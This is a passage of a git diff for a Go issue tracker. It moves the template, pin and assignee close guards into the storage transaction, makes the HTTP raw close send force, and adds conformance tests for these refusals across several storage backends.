-func perItemCloseError(issueID string, item apigen.CloseOutcome) error { +func perItemCloseError(issueID, actor string, item apigen.CloseOutcome) error { var code string if item.Code != nil { code = *item.Code @@ -298,6 +302,16 @@ func perItemCloseError(issueID string, item apigen.CloseOutcome) error { return &issueops.CloseOpenChildrenError{IssueID: issueID, OpenChildren: *item.OpenChildren} } return issueops.ErrCloseBlocked + case codeTemplateReadOnly: + return &issueops.TemplateReadOnlyError{IssueID: issueID} + case codeIssuePinned: + return &issueops.PinnedError{IssueID: issueID} + case codeNotAssignee: + var assignee string + if item.Assignee != nil { + assignee = stripItemControlRunes(*item.Assignee) + } + return &issueops.CloseNotAssigneeError{IssueID: issueID, Assignee: assignee, Actor: actor} default: var detail string if item.Detail != nil { @@ -311,12 +325,15 @@ func perItemCloseError(issueID string, item apigen.CloseOutcome) error { } } -// The two per-item refusal codes this outcome can carry. They are the +// The per-item refusal codes this outcome can carry. They are the // `Problem.code` spellings, restated here rather than imported because // importing the server package would drag the storage engine into a client. const ( - codeNotFound = "not_found" - codeNotClosable = "not_closable" + codeNotFound = "not_found" + codeNotClosable = "not_closable" + codeTemplateReadOnly = "template_read_only" + codeIssuePinned = "issue_pinned" + codeNotAssignee = "not_assignee" ) // stripItemControlRunes removes control runes from a server-controlled per-item @@ -363,6 +380,9 @@ func perItemCloseRefusal(issueID string, err error) (issueops.CloseOutcome, bool case errors.As(err, &openChildren): case errors.Is(err, issueops.ErrNotFound): case errors.Is(err, issueops.ErrCloseBlocked): + case errors.Is(err, issueops.ErrTemplateReadOnly): + case errors.Is(err, issueops.ErrPinned): + case errors.As(err, new(*issueops.CloseNotAssigneeError)): default: return issueops.CloseOutcome{}, false } diff --git a/internal/httpclient/lifecycle.go b/internal/httpclient/lifecycle.go index 1bad6d62c..409be20d3 100644 --- a/internal/httpclient/lifecycle.go +++ b/internal/httpclient/lifecycle.go @@ -936,11 +936,17 @@ func setNullableTime(out map[string]any, member string, field issueops.Field[*ti // operation the Lifecycle role uses (design D8's off-role list, extended by the // `bd close` decision). // -// Its one caller at tip is the molecule auto-close, which closes a parent whose -// children have all finished and discards nothing about the outcome. Routing it -// onto the role's operation rather than refusing it is what keeps that path -// working over http; it carries no reason-per-item and no force, so the mapping -// is total. +// Routing it onto the role's operation rather than refusing it is what keeps +// the molecule auto-close (which closes a parent whose children have all +// finished) and the other raw closes cmd/bd makes outside `bd close` working +// over http. It sends force because the raw close is the unguarded one +// everywhere else: dolt, embedded and proxied run it as +// issueops.CloseIssueInTx, which applies neither the close guards nor close +// policy, and its signature carries no force a caller could use to waive a +// refusal those backends never make. Sent unforced, a pinned or claimed root +// would stop closing over http and nowhere else. The template guard has no +// bypass on the wire, so a template still refuses here where the other +// backends close it; no raw caller is known to close one. func (s *Store) CloseIssue(ctx context.Context, id, reason, actor, session string) error { w, err := s.roleWire("CloseIssue") if err != nil { @@ -952,6 +958,6 @@ func (s *Store) CloseIssue(ctx context.Context, id, reason, actor, session strin if err := requireID("issue id", id); err != nil { return err } - _, err = w.CloseIssue(ctx, id, closeBody(actor, reason, session, false)) + _, err = w.CloseIssue(ctx, id, closeBody(actor, reason, session, true)) return err } diff --git a/internal/httpclient/served_batch_apply_test.go b/internal/httpclient/served_batch_apply_test.go index fa21e6b0c..1117c51b8 100644 --- a/internal/httpclient/served_batch_apply_test.go +++ b/internal/httpclient/served_batch_apply_test.go @@ -261,6 +261,10 @@ func TestServedBatchApplySplicesTheMetadataOfATemplateItCreates(t *testing.T) { conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, t.Context(), newServedBatchApplyFixture(t, "hbats")) } +func TestServedBatchApplyCloseItemsAnswerToTheCloseGuards(t *testing.T) { + conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, t.Context(), newServedBatchApplyFixture(t, "hbacg")) +} + // TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed wires the dep_add // HasSpawner/ThreadID lineage conformance case onto the http leg (S5): a // served default Config always advertises CapBatchApplyDepAddLineage (it is diff --git a/internal/httpclient/served_batch_close_test.go b/internal/httpclient/served_batch_close_test.go index 11b9a5145..9c3911ef4 100644 --- a/internal/httpclient/served_batch_close_test.go +++ b/internal/httpclient/served_batch_close_test.go @@ -168,3 +168,10 @@ func TestServedBatchCloserDoesNotMutateTheCallerRequest(t *testing.T) { func TestServedBatchCloserSettlesTheDependersOfWhatItClosed(t *testing.T) { conformance.RunBatchCloserSettlesTheDependersOfWhatItClosed(t, t.Context(), newServedBatchCloserFixture(t, "hbcbs")) } + +// TestServedBatchCloserItemsAnswerToTheCloseGuards is the served leg of the +// close guards: each guarded item travels back as its outcome's code (and +// `assignee`) and is rebuilt into the same typed error a local batch returns. +func TestServedBatchCloserItemsAnswerToTheCloseGuards(t *testing.T) { + conformance.RunBatchCloserItemsAnswerToTheCloseGuards(t, t.Context(), newServedBatchCloserFixture(t, "hbcgd")) +} diff --git a/internal/httpclient/served_claim_lifecycle_test.go b/internal/httpclient/served_claim_lifecycle_test.go index 9f8033046..08e5bc810 100644 --- a/internal/httpclient/served_claim_lifecycle_test.go +++ b/internal/httpclient/served_claim_lifecycle_test.go @@ -309,6 +309,75 @@ func TestServedLifecycleReopenReblocksItsDependers(t *testing.T) { conformance.RunLifecycleReopenReblocksItsDependers(t, t.Context(), newServedCloseReopenFixture(t, "hlbr")) } +// TestServedLifecycleCloseEnforcesTheCloseGuards is the served leg of the close +// guards: bd serve refuses with template_read_only, issue_pinned and +// not_assignee, and the client rebuilds the typed error — sentence included — +// the embedded store returns. +func TestServedLifecycleCloseEnforcesTheCloseGuards(t *testing.T) { + conformance.RunLifecycleCloseEnforcesTheCloseGuards(t, t.Context(), newServedCloseReopenFixture(t, "hlcg")) +} + +// TestServedRawCloseKeepsParityWithTheOtherBackends is the off-role half of the +// guards: Store.CloseIssue must close what the raw close closes on dolt, +// embedded and proxied, where issueops.CloseIssueInTx runs neither the guards +// nor close policy. A pin of either spelling, another actor's claim and an open +// child each refuse the Lifecycle close above; the raw close sends force, so a +// molecule auto-close of such a root still lands over http. The template is the +// one refusal left, because read-only has no bypass on the wire. +func TestServedRawCloseKeepsParityWithTheOtherBackends(t *testing.T) { + ctx := t.Context() + env := newServedEnv(t, "hrc") + + const ( + flagPinned = "hrc-flag-pinned" + statusPinned = "hrc-status-pinned" + held = "hrc-held" + parent = "hrc-parent" + child = "hrc-child" + template = "hrc-template" + ) + for _, issue := range []*types.Issue{ + {ID: flagPinned, Status: types.StatusOpen, Pinned: true}, + {ID: statusPinned, Status: types.StatusPinned}, + {ID: held, Status: types.StatusInProgress, Assignee: "holder"}, + {ID: parent, Status: types.StatusOpen}, + {ID: child, Status: types.StatusOpen}, + {ID: template, Status: types.StatusOpen, IsTemplate: true}, + } { + issue.Title, issue.Priority, issue.IssueType = issue.ID, 2, types.TypeTask + if err := env.createIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + if err := env.addDependency(ctx, &types.Dependency{IssueID: child, DependsOnID: parent, Type: types.DepParentChild}, "seed"); err != nil { + t.Fatalf("seed %s as a child of %s: %v", child, parent, err) + } + + assertStatus := func(id string, want types.Status) { + t.Helper() + got, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + if got.Status != want { + t.Errorf("%s has status %q after the raw close, want %q", id, got.Status, want) + } + } + + for _, id := range []string{flagPinned, statusPinned, held, parent} { + if err := env.subject.CloseIssue(ctx, id, "all steps complete", "closer", ""); err != nil { + t.Fatalf("raw close of %s over http: %v, want it to land as the raw close does on every other backend", id, err) + } + assertStatus(id, types.StatusClosed) + } + + err := env.subject.CloseIssue(ctx, template, "all steps complete", "closer", "") + if !errors.As(err, new(*issueops.TemplateReadOnlyError)) { + t.Fatalf("raw close of template %s over http: err = %v, want *TemplateReadOnlyError", template, err) + } + assertStatus(template, types.StatusOpen) +} + func TestServedLifecycleReopenLeavesNonDoneStatusesUnchanged(t *testing.T) { conformance.RunLifecycleReopenLeavesNonDoneStatusesUnchanged(t, t.Context(), newServedCloseReopenFixture(t, "hlrn")) } diff --git a/internal/httpclient/wire/client.go b/internal/httpclient/wire/client.go index 2c6fd6263..76955f51f 100644 --- a/internal/httpclient/wire/client.go +++ b/internal/httpclient/wire/client.go @@ -208,6 +208,10 @@ type Request struct { IssueID string DependsOnID string + // Actor is the acting identity the body carries, for a refusal whose typed + // error names it — the close's not_assignee — when the wire does not + // repeat what the request already said. + Actor string } // Do issues r and decodes a 2xx body into out, which may be nil for a response @@ -292,7 +296,7 @@ func (c *Client) Do(ctx context.Context, r Request, out any) error { } func (c *Client) target(r Request) target { - return target{op: r.Op, serverURL: c.base.Redacted(), issueID: r.IssueID, dependsOnID: r.DependsOnID, expectID: c.expectID} + return target{op: r.Op, serverURL: c.base.Redacted(), issueID: r.IssueID, dependsOnID: r.DependsOnID, actor: r.Actor, expectID: c.expectID} } // credentialSourceReporter is the optional half of a CredentialProvider: a diff --git a/internal/httpclient/wire/problem.go b/internal/httpclient/wire/problem.go index a02dc3d34..106cfea73 100644 --- a/internal/httpclient/wire/problem.go +++ b/internal/httpclient/wire/problem.go @@ -346,6 +346,9 @@ type target struct { serverURL string issueID string dependsOnID string + // actor is the request's acting identity (Request.Actor), which the + // not_assignee refusal names and the wire does not repeat. + actor string // expectID is the workspace's own pinned project id (Client.expectID), which // the wire never carries — it is a client-side fact. A project_mismatch // refusal names the server's own id in server_project_id; pairing it with this @@ -638,12 +641,20 @@ var codeSentinel = map[string]func(*ProblemError, target) error{ // sentinel callers already switch on locally.] "notes_overwrite_refused": func(*ProblemError, target) error { return issueops.ErrNotesOverwrite }, - // The template guard, rebuilt whole so a caller reads the same typed error - // — and the same message — the embedded store returns. The row comes from - // the request or, on a batch, from `item_issue_id`. + // The close guards (the first, template read-only, is every update's guard + // too), rebuilt whole so a caller reads the same typed error — and the same + // message — the embedded store returns. The row comes from the request or, + // on a batch, from `item_issue_id`; the holder from `assignee`; the closing + // actor from the request, which the wire does not repeat. "template_read_only": func(e *ProblemError, t target) error { return &issueops.TemplateReadOnlyError{IssueID: refusedIssueID(e, t)} }, + "issue_pinned": func(e *ProblemError, t target) error { + return &issueops.PinnedError{IssueID: refusedIssueID(e, t)} + }, + "not_assignee": func(e *ProblemError, t target) error { + return &issueops.CloseNotAssigneeError{IssueID: refusedIssueID(e, t), Assignee: deref(e.Assignee), Actor: t.actor} + }, // The same rule again: `issue_id` present means the edge named the issue's // own ancestor or descendant, absent means a plain scheduling cycle. The diff --git a/internal/httpclient/wire/writes.go b/internal/httpclient/wire/writes.go index c9557f1b1..c367198b1 100644 --- a/internal/httpclient/wire/writes.go +++ b/internal/httpclient/wire/writes.go @@ -160,7 +160,7 @@ func (c *Client) CloseIssue(ctx context.Context, id string, body apigen.CloseIss return nil, err } var out apigen.CloseIssueResponse - r := Request{Op: OpCloseIssue, Method: http.MethodPost, Path: path, Body: body, IssueID: id} + r := Request{Op: OpCloseIssue, Method: http.MethodPost, Path: path, Body: body, IssueID: id, Actor: body.Actor} if err := c.dispatch(ctx, r, &out); err != nil { return nil, err } @@ -539,7 +539,7 @@ func (c *Client) ApplyBatch(ctx context.Context, body ApplyBatchRequest) (*apige } var out apigen.ApplyBatchResponse - r := Request{Op: OpApplyBatch, Method: http.MethodPost, Path: PathIssuesBatchApply, Body: body} + r := Request{Op: OpApplyBatch, Method: http.MethodPost, Path: PathIssuesBatchApply, Body: body, Actor: body.Actor} if err := c.dispatch(ctx, r, &out); err != nil { return nil, err } diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index 480150703..8ead3a15b 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -265,6 +265,11 @@ func TestBatchApplyContract(t *testing.T) { defer cancel() conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, ctx, fixture) }) + t.Run("CloseItemsAnswerToTheCloseGuards", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, ctx, fixture) + }) } // newDoltBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/dolt/batch_closer_contract_test.go b/internal/storage/dolt/batch_closer_contract_test.go index 82337b90c..360ef1347 100644 --- a/internal/storage/dolt/batch_closer_contract_test.go +++ b/internal/storage/dolt/batch_closer_contract_test.go @@ -131,6 +131,12 @@ func TestBatchCloserSettlesTheDependersOfWhatItClosed(t *testing.T) { conformance.RunBatchCloserSettlesTheDependersOfWhatItClosed(t, ctx, fixture) } +func TestBatchCloserItemsAnswerToTheCloseGuards(t *testing.T) { + fixture, ctx, cleanup := newDoltBatchCloserFixture(t, "bcguard") + defer cleanup() + conformance.RunBatchCloserItemsAnswerToTheCloseGuards(t, ctx, fixture) +} + func newDoltBatchCloserFixture(t *testing.T, prefix string) (conformance.BatchCloserFixture, context.Context, func()) { t.Helper() store, storeCleanup := setupTestStore(t) diff --git a/internal/storage/dolt/issues.go b/internal/storage/dolt/issues.go index 3efcde47c..b6a8362b6 100644 --- a/internal/storage/dolt/issues.go +++ b/internal/storage/dolt/issues.go @@ -606,8 +606,10 @@ func (s *DoltStore) closeIssue(ctx context.Context, id string, reason string, ac // when it has a live direct blocker unless opts.Force is set, and — when // opts.ExpectedVersion is non-nil — with storage.ErrVersionMismatch when the // row's current RowVersion no longer matches (an orthogonal CAS that Force does -// not bypass). Both checks and the close share one transaction, so they are -// atomic (no TOCTOU). Mirrors CloseIssue's Dolt-specific concerns (wisp routing, +// not bypass). The close guards (template, pin, assignee; see +// issueops.CloseIssueCheckedInTx) refuse first, the template whatever Force +// says. Every check and the close share one transaction, so they are atomic +// (no TOCTOU). Mirrors CloseIssue's Dolt-specific concerns (wisp routing, // DOLT_ADD/COMMIT). func (s *DoltStore) CloseIssueChecked(ctx context.Context, id string, actor string, opts storage.CloseIssueOptions) (storage.CloseIssueResult, error) { var result storage.CloseIssueResult diff --git a/internal/storage/dolt/lifecycle_close_reopen_contract_test.go b/internal/storage/dolt/lifecycle_close_reopen_contract_test.go index 5fab44fa9..236909c36 100644 --- a/internal/storage/dolt/lifecycle_close_reopen_contract_test.go +++ b/internal/storage/dolt/lifecycle_close_reopen_contract_test.go @@ -80,6 +80,9 @@ func TestLifecycleCloseReopenContract(t *testing.T) { t.Run("ReopenReblocksItsDependers", func(t *testing.T) { conformance.RunLifecycleReopenReblocksItsDependers(t, ctx, fixture) }) + t.Run("CloseEnforcesTheCloseGuards", func(t *testing.T) { + conformance.RunLifecycleCloseEnforcesTheCloseGuards(t, ctx, fixture) + }) } func newDoltLifecycleCloseReopenFixture(t *testing.T, prefix string) (conformance.LifecycleCloseReopenFixture, context.Context, func()) { diff --git a/internal/storage/domain/db/issue.go b/internal/storage/domain/db/issue.go index 4a1282e25..8c78e1ff5 100644 --- a/internal/storage/domain/db/issue.go +++ b/internal/storage/domain/db/issue.go @@ -223,9 +223,11 @@ func (r *issueSQLRepositoryImpl) Update(ctx context.Context, id string, updates // Close-policy parity with issueops.updateIssueInTx: a status that crosses // into the done category is a close by another name and answers to close - // policy. A refusal returns before any write and aborts the caller's unit of - // work. The wrap keeps the sentinels matchable, so a caller distinguishes - // these refusals here exactly as it does on the close path. + // policy, and, as there, to close policy only: the pin and assignee close + // guards stay on the close verbs (see updateIssueInTx for why). A refusal + // returns before any write and aborts the caller's unit of work. The wrap + // keeps the sentinels matchable, so a caller distinguishes these refusals + // here exactly as it does on the close path. if statusChanging { crossing, err := issueops.CrossesIntoDoneCategoryInTx(ctx, r.runner, oldIssue.Status, updates) if err != nil { diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index 5bf1afbaa..9280f9acb 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -193,6 +193,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("SplicesTheMetadataOfATemplateItCreates", func(t *testing.T) { conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, ctx, fixture) }) + t.Run("CloseItemsAnswerToTheCloseGuards", func(t *testing.T) { + conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, ctx, fixture) + }) } // newEmbeddedBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/embeddeddolt/batch_closer_contract_test.go b/internal/storage/embeddeddolt/batch_closer_contract_test.go index bb18d6b1d..8131d5fc8 100644 --- a/internal/storage/embeddeddolt/batch_closer_contract_test.go +++ b/internal/storage/embeddeddolt/batch_closer_contract_test.go @@ -133,6 +133,12 @@ func TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed(t *testing.T) { conformance.RunBatchCloserSettlesTheDependersOfWhatItClosed(t, ctx, newEmbeddedBatchCloserFixture(t, "bcblocked")) } +func TestEmbeddedBatchCloserItemsAnswerToTheCloseGuards(t *testing.T) { + skipUnlessEmbeddedDolt(t) + ctx := t.Context() + conformance.RunBatchCloserItemsAnswerToTheCloseGuards(t, ctx, newEmbeddedBatchCloserFixture(t, "bcguard")) +} + func newEmbeddedBatchCloserFixture(t *testing.T, prefix string) conformance.BatchCloserFixture { t.Helper() te := newTestEnv(t, prefix) diff --git a/internal/storage/embeddeddolt/issues.go b/internal/storage/embeddeddolt/issues.go index 7e1140204..bd67df66c 100644 --- a/internal/storage/embeddeddolt/issues.go +++ b/internal/storage/embeddeddolt/issues.go @@ -165,8 +165,10 @@ func (s *EmbeddedDoltStore) CloseIssue(ctx context.Context, id string, reason st // when it has a live direct blocker unless opts.Force is set, and — when // opts.ExpectedVersion is non-nil — with storage.ErrVersionMismatch when the // row's current RowVersion no longer matches (an orthogonal CAS that Force does -// not bypass). Both checks and the close share one transaction, so they are -// atomic (no TOCTOU). Delegates SQL work to issueops; EmbeddedDolt auto-commits +// not bypass). The close guards (template, pin, assignee; see +// issueops.CloseIssueCheckedInTx) refuse first, the template whatever Force +// says. Every check and the close share one transaction, so they are atomic +// (no TOCTOU). Delegates SQL work to issueops; EmbeddedDolt auto-commits // the transaction. func (s *EmbeddedDoltStore) CloseIssueChecked(ctx context.Context, id string, actor string, opts storage.CloseIssueOptions) (storage.CloseIssueResult, error) { var result storage.CloseIssueResult diff --git a/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go b/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go index 153b33232..c8fef9004 100644 --- a/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go +++ b/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go @@ -83,6 +83,9 @@ func TestLifecycleCloseReopenContract(t *testing.T) { t.Run("ReopenReblocksItsDependers", func(t *testing.T) { conformance.RunLifecycleReopenReblocksItsDependers(t, ctx, fixture) }) + t.Run("CloseEnforcesTheCloseGuards", func(t *testing.T) { + conformance.RunLifecycleCloseEnforcesTheCloseGuards(t, ctx, fixture) + }) } func newEmbeddedLifecycleCloseReopenFixture(t *testing.T, te *testEnv, prefix string) conformance.LifecycleCloseReopenFixture { diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index be4703360..3d7ab0898 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -22,6 +22,7 @@ go_library( "claim_next.go", "close.go", "close_batch.go", + "close_guard.go", "commenter.go", "comments.go", "commit_pending.go", @@ -136,6 +137,7 @@ go_test( "blocked_recheck_test.go", "blocked_state_result_test.go", "blocked_state_template_test.go", + "close_guard_test.go", "close_test.go", "config_helpers_test.go", "config_prefix_test.go", diff --git a/internal/storage/issueops/close.go b/internal/storage/issueops/close.go index 188c704c1..03f9fbb94 100644 --- a/internal/storage/issueops/close.go +++ b/internal/storage/issueops/close.go @@ -54,6 +54,12 @@ func CloseIssueWithoutEventInTx(ctx context.Context, tx DBTX, id string, reason, // is_blocked column whose direct blockers have since closed. Reading the live // blocker list self-heals against a stale column instead of acting on it. // +// Before close policy it applies the close guards (enforceCloseGuardsInTx) to a +// target that is not already closed: a template refuses with +// *TemplateReadOnlyError whatever force says, and unless force is set a pinned +// issue refuses with *PinnedError and one assigned to someone other than actor +// with *CloseNotAssigneeError. +// // When expectedVersion is non-nil it adds an ORTHOGONAL optimistic-concurrency // precondition: the row's current RowVersion (row_lock) must still equal // *expectedVersion or the close refuses with storage.ErrVersionMismatch. This @@ -80,6 +86,14 @@ func CloseIssueCheckedInTx(ctx context.Context, tx DBTX, id, reason, actor, sess if !found { return nil, fmt.Errorf("%w: issue %s", storage.ErrNotFound, id) } + // The close guards run before close policy, so a target that trips both + // reads the guard's refusal, as `bd close` always printed it. They only + // read, so they need no savepoint. + if !closed { + if err := enforceCloseGuardsInTx(ctx, tx, id, targetColumn, actor, force); err != nil { + return nil, err + } + } // domain/db also supplies a *sql.DB Runner, whose independently pooled // statements cannot retain a savepoint. The shared UOW uses a pinned // *sql.Conn after START TRANSACTION, while embedded callers use *sql.Tx. diff --git a/internal/storage/issueops/close_guard.go b/internal/storage/issueops/close_guard.go new file mode 100644 index 000000000..9c715d89f --- /dev/null +++ b/internal/storage/issueops/close_guard.go @@ -0,0 +1,112 @@ +package issueops + +import ( + "context" + "database/sql" + "fmt" + + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// closeGuardRow is the slice of the close target the close guards read. +type closeGuardRow struct { + isTemplate bool + pinned bool + status types.Status + assignee string +} + +// enforceCloseGuardsInTx applies the close guards — template read-only, the +// pin, and the assignee authority fence (be-035) — to an open target whose +// dependency routing the caller already read from this transaction. +// +// They are the guards `bd close` used to run as a pre-read in cmd/bd, which +// left every other caller of the role (bd serve, BatchCloser, BatchApplier +// close items, a library embedder) closing what bd refused. Living here, they +// read the row the close is about to write, inside the same transaction, so +// there is no read-then-write window either. +// +// Order is the historical one: template first (no bypass), then the pin, then +// the assignee — so a request that trips more than one reads the refusal bd +// always printed for it. force bypasses the pin and the assignee and nothing +// else. +// +// The caller runs this only for a target that is not already literally closed: +// a re-close has no state change to guard, and it stays the idempotent no-op it +// has always been (ga-ktn9pe.4.8) — a forced close of a pinned bead leaves the +// pin set, and the plain retry must not then refuse. +func enforceCloseGuardsInTx(ctx context.Context, tx DBTX, id, targetColumn, actor string, force bool) error { + row, err := readCloseGuardRowInTx(ctx, tx, id, targetColumn) + if err != nil { + return err + } + return CheckClosable(id, &types.Issue{ + IsTemplate: row.isTemplate, + Pinned: row.pinned, + Status: row.status, + Assignee: row.assignee, + }, actor, force) +} + +// CheckClosable is the close guards' one decision over an issue's pre-image: +// template read-only (*TemplateReadOnlyError, no bypass), then — unless force — +// the pin (*PinnedError, either spelling) and the assignee authority fence +// (*CloseNotAssigneeError; an unassigned issue is closable by anyone). A nil +// issue passes. It is pure: enforceCloseGuardsInTx applies it to the row the +// close is about to write, inside the close transaction, which is the +// authority; `bd close` also applies it to its resolved pre-image ahead of its +// own gate-satisfaction check, so a refusal that trips both reads the guard's +// sentence, as it always has. +// +// The caller decides whether to guard at all: an already-closed target is an +// idempotent re-close with no state change to guard (ga-ktn9pe.4.8). +func CheckClosable(id string, issue *types.Issue, actor string, force bool) error { + if issue == nil { + return nil + } + if issue.IsTemplate { + return &publicops.TemplateReadOnlyError{IssueID: id} + } + if force { + return nil + } + // Both pin spellings are load-bearing (ga-z3vht): Gas Town pins by + // status, Gas City by the column. See validation.NotPinned. + if issue.Pinned || issue.Status == types.StatusPinned { + return &publicops.PinnedError{IssueID: id} + } + if issue.Assignee != "" && !actorMatches(issue.Assignee, actor) { + return &publicops.CloseNotAssigneeError{IssueID: id, Assignee: issue.Assignee, Actor: actor} + } + return nil +} + +//nolint:gosec // G201: table is one of two hardcoded identifiers chosen from targetColumn. +func readCloseGuardRowInTx(ctx context.Context, tx DBTX, id, targetColumn string) (closeGuardRow, error) { + table := "issues" + switch targetColumn { + case "depends_on_issue_id": + case "depends_on_wisp_id": + table = "wisps" + default: + return closeGuardRow{}, fmt.Errorf("close guard: unsupported target column %q", targetColumn) + } + var ( + row closeGuardRow + template sql.NullBool + pinned sql.NullBool + status string + assignee sql.NullString + ) + if err := tx.QueryRowContext(ctx, + "SELECT is_template, pinned, status, assignee FROM "+table+" WHERE id = ?", id, + ).Scan(&template, &pinned, &status, &assignee); err != nil { + return closeGuardRow{}, fmt.Errorf("read close guard state for %s from %s: %w", id, table, err) + } + row.isTemplate = template.Valid && template.Bool + row.pinned = pinned.Valid && pinned.Bool + row.status = types.Status(status) + row.assignee = assignee.String + return row, nil +} diff --git a/internal/storage/issueops/close_guard_test.go b/internal/storage/issueops/close_guard_test.go new file mode 100644 index 000000000..9fa419d5b --- /dev/null +++ b/internal/storage/issueops/close_guard_test.go @@ -0,0 +1,55 @@ +package issueops + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// TestCheckClosable pins the close guards' one decision: template first (no +// bypass), then — unless force — the pin (both spellings) and the assignee +// fence (separator-insensitive; unassigned is anyone's). +func TestCheckClosable(t *testing.T) { + cases := []struct { + name string + issue *types.Issue + actor string + force bool + want error + }{ + {"nil", nil, "alice", false, nil}, + {"plain", &types.Issue{Status: types.StatusOpen}, "alice", false, nil}, + {"template", &types.Issue{IsTemplate: true}, "alice", false, publicops.ErrTemplateReadOnly}, + {"forced template", &types.Issue{IsTemplate: true}, "alice", true, publicops.ErrTemplateReadOnly}, + {"template outranks pin", &types.Issue{IsTemplate: true, Pinned: true}, "alice", false, publicops.ErrTemplateReadOnly}, + {"pinned column", &types.Issue{Pinned: true}, "alice", false, publicops.ErrPinned}, + {"pinned status", &types.Issue{Status: types.StatusPinned}, "alice", false, publicops.ErrPinned}, + {"forced pin", &types.Issue{Pinned: true}, "alice", true, nil}, + {"pin outranks holder", &types.Issue{Pinned: true, Assignee: "bob"}, "alice", false, publicops.ErrPinned}, + {"held", &types.Issue{Assignee: "bob"}, "alice", false, publicops.ErrNotOwner}, + {"forced held", &types.Issue{Assignee: "bob"}, "alice", true, nil}, + {"own", &types.Issue{Assignee: "alice"}, "alice", false, nil}, + {"unassigned", &types.Issue{}, "alice", false, nil}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + err := CheckClosable("bd-1", tc.issue, tc.actor, tc.force) + if tc.want == nil { + if err != nil { + t.Fatalf("CheckClosable = %v, want nil", err) + } + return + } + if !errors.Is(err, tc.want) { + t.Fatalf("CheckClosable = %v, want %v", err, tc.want) + } + }) + } + var held *publicops.CloseNotAssigneeError + if err := CheckClosable("bd-1", &types.Issue{Assignee: "bob"}, "alice", false); !errors.As(err, &held) || + held.IssueID != "bd-1" || held.Assignee != "bob" || held.Actor != "alice" { + t.Fatalf("held refusal = %#v", err) + } +} diff --git a/internal/storage/issueops/update.go b/internal/storage/issueops/update.go index 44add0cea..ee77833ba 100644 --- a/internal/storage/issueops/update.go +++ b/internal/storage/issueops/update.go @@ -406,10 +406,17 @@ func updateIssueInTx(ctx context.Context, tx DBTX, id string, updates map[string // A status update that crosses into the done category is a close by another // name, so it answers to close policy. Running after the no-op filter keeps // a done-to-done restatement policy-free, and running after the callers' - // version and assignee preconditions keeps force away from those: it - // bypasses the two close refusals and nothing else, exactly as it does for - // `bd close`. A refusal returns here, before any write, and aborts the - // caller's transaction. + // version and assignee preconditions keeps force away from those: here it + // bypasses the two close-policy refusals and nothing else. A refusal + // returns here, before any write, and aborts the caller's transaction. + // + // Close policy is ALL it answers to. The pin guard and the assignee + // authority fence, which CloseIssueCheckedInTx applies to the close verbs, + // are deliberately not run here: a crossing still closes a pinned issue or + // a bead another actor holds on every update leg (`bd update -s closed`, + // PATCH, batchApply), as it always has. Refusing those would change what + // the update legs admit, which is its own decision and not part of putting + // the close verbs' guards in the role. crossing, err := CrossesIntoDoneCategoryInTx(ctx, tx, oldIssue.Status, updates) if err != nil { return nil, err diff --git a/internal/storage/storage.go b/internal/storage/storage.go index 66553307f..61f80cde0 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -407,6 +407,9 @@ type Storage interface { // when the current assignee differs. UnclaimIssueIfAssignee(ctx context.Context, id string, actor string, expectedAssignee string) error UpdateIssueType(ctx context.Context, id string, issueType string, actor string) error + // CloseIssue is the raw close: it applies neither the close guards nor + // close policy, except over HTTP, where it closes with force and a template + // — the one guard force never bypasses — still refuses. CloseIssue(ctx context.Context, id string, reason string, actor string, session string) error // CloseIssueChecked closes an issue, but refuses with ErrCloseOpenChildren // when it has open parent-child dependents, or ErrCloseBlocked when it has a @@ -418,9 +421,16 @@ type Storage interface { // (no TOCTOU). When opts.ExpectedVersion is non-nil it adds an orthogonal // optimistic-concurrency precondition: the close proceeds only if the issue's // current RowVersion still equals *opts.ExpectedVersion, else it refuses with - // ErrVersionMismatch atomically (Force does NOT bypass this check). Already- - // closed is an idempotent success with Unchanged=true; a missing issue returns - // ErrNotFound. + // ErrVersionMismatch atomically (Force does NOT bypass this check). After + // the version check and before the child and blocker policy it applies the + // close guards in the same transaction: a template refuses with + // *issueops.TemplateReadOnlyError whatever Force says, and unless Force is + // set a pinned issue refuses with *issueops.PinnedError and one assigned to + // someone other than actor with *issueops.CloseNotAssigneeError. Already- + // closed is an idempotent success with Unchanged=true and skips the guards; + // a missing issue returns ErrNotFound. CloseIssue above is the raw close and + // applies neither the guards nor the policy, except that over HTTP, where + // the template guard has no bypass on the wire, a template still refuses. CloseIssueChecked(ctx context.Context, id string, actor string, opts CloseIssueOptions) (CloseIssueResult, error) DeleteIssue(ctx context.Context, id string) error SearchIssues(ctx 